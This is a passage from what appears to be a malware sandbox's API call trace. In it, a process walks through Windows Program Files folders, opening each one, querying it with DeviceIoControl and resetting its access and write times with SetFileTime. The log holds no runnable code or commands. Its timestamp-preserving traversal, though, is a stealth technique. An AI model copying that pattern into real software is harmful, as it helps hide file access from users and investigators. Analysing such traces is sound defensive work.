lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.093] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.093] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d0a0 [0070.093] GetLastError () returned 0x12 [0070.093] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d120 [0070.093] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.096] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.096] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.096] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.096] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0070.096] GetLastError () returned 0x12 [0070.096] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1e0 [0070.097] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.097] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.097] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.097] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.097] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.097] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0070.098] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.098] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.098] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.098] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.098] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.099] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.099] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.099] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.099] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.099] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files\\reference assemblies\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.099] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.099] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.100] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.100] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.100] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.100] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.100] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.100] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.102] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.102] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.102] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.107] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.107] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.107] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.109] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.109] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.109] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.110] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.110] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.110] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.110] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.110] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.110] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.111] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US" (normalized: "c:\\program files\\windows defender\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.111] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.111] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.111] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal" (normalized: "c:\\program files\\windows journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.111] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.111] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.113] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US" (normalized: "c:\\program files\\windows journal\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.113] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.113] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.115] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates" (normalized: "c:\\program files\\windows journal\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.115] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.115] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.118] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program files\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.118] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.118] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.118] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US" (normalized: "c:\\program files\\windows mail\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.118] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.119] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.119] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player" (normalized: "c:\\program files\\windows media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.119] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.119] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.120] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US" (normalized: "c:\\program files\\windows media player\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.121] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.121] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.123] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Icons" (normalized: "c:\\program files\\windows media player\\icons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.123] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.123] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.123] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files\\windows media player\\media renderer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.124] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.124] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.126] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files\\windows media player\\network sharing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.126] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.126] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.128] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins" (normalized: "c:\\program files\\windows media player\\skins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.129] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.129] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.129] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations" (normalized: "c:\\program files\\windows media player\\visualizations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.129] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.129] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.129] CreateFileW (lpFileName="C:\\Program Files\\Windows NT" (normalized: "c:\\program files\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.129] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.129] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.130] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories" (normalized: "c:\\program files\\windows nt\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.130] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.130] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.130] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files\\windows nt\\accessories\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.130] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.130] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.131] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService" (normalized: "c:\\program files\\windows nt\\tabletextservice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.131] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.131] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.131] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.131] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.131] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.132] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer" (normalized: "c:\\program files\\windows photo viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.132] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.132] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, 